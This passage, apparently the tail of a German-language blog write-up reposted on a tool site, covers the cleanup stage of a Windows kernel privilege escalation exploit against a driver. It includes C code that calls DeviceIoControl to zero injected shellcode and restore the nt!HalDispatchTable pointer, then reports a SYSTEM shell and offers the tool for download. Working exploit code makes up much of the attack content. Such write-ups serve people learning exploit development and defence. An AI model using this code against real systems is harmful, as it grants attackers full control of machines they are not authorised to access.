Dies wird in einem Schritt zusammengefasst, da beide einfach sind. Wir werden beide willkürlichen Schreib-Primitiven ein letztes Mal verwenden. Zunächst entfernen wir den gesamten Shellcode aus dem Kernel-Speicher. Dies ist eine einfache Aufgabe, da wir dieselbe for-Schleife verwenden können, um durch die Länge unserer Payload zu iterieren. Dieses Mal überschreiben wir den Speicher stattdessen mit Nullen, genau so, wie er vor der Ausführung unseres Exploits war.```C for (int i = 0; i < sizeof(shellcode); i++) { memset_input_struct.Destination = kuser_shared_data_loc + i; memset_input_struct.Value = 0; DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0); } printf("\n[+] Removed the kernel payload from kernel memory.");

root@kitploit:~
Ich glaube nicht, dass ich die `for`-Schleifeniterationen weiter erklären muss. Der letzte Schritt im Wiederherstellungsprozess (und im Allgemeinen im Exploit-Prozess) ist die Wiederherstellung des ursprünglichen Funktionszeigers bei `nt!HalDispatchTable+0x8`. Unter Verwendung unserer `memmove`-Strukturdaten, die ursprünglich zum Überschreiben eines der vielen Zeiger in `nt!HalDispatchTable` verwendet wurden, müssen wir nur das `source`-Feld ändern, um einen Zeiger auf die ursprüngliche Adresse zu übergeben. Wie zuvor glaube ich nicht, dass ich diesen Teil weiter erklären muss ($1, wenn Sie zählen können, wie oft ich mich wiederholt habe!).```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");

Und jetzt hast du deinen Spaß. Starte die System-Shell!

Nachweis der nt authority\system-Berechtigungen

Insgesamt war dies ein sehr unterhaltsamer Bug, den es auszunutzen galt. Der Exploit-Prozess war nicht so kompliziert, wie ich erwartet hatte. Er half mir auch, mich mit PTE-Manipulationen vertrauter zu machen, und ermöglichte mir die Erstellung meines ersten Exploits zur lokalen Privilegienausweitung, der nicht auf den HackSys Extreme Vulnerable Driver zurückgreift! Ich hoffe, wir sehen uns bald wieder.

Danksagungen

  • HackSys Team; Erstellung des HackSys Extreme Vulnerable Driver, auf dem ich üben konnte
  • Connor McGarr; Erstellung eines hervorragenden Papiers zur Manipulation von Seitentabelleneinträgen
  • Fuzzy Security; Erstellung der ersten Tutorials zur Kernel-Ausnutzung, die ich je gelesen habe
  • Der Offensive Security Discord; Bereitstellung von Hilfe und Tipps während des Lernprozesses und einer großartigen Community zum Austausch
  • Die Sicherheits-Community (als Ganzes); Bereitstellung der Motivation, die ich brauchte, um weiterzumachen
Tool herunterladen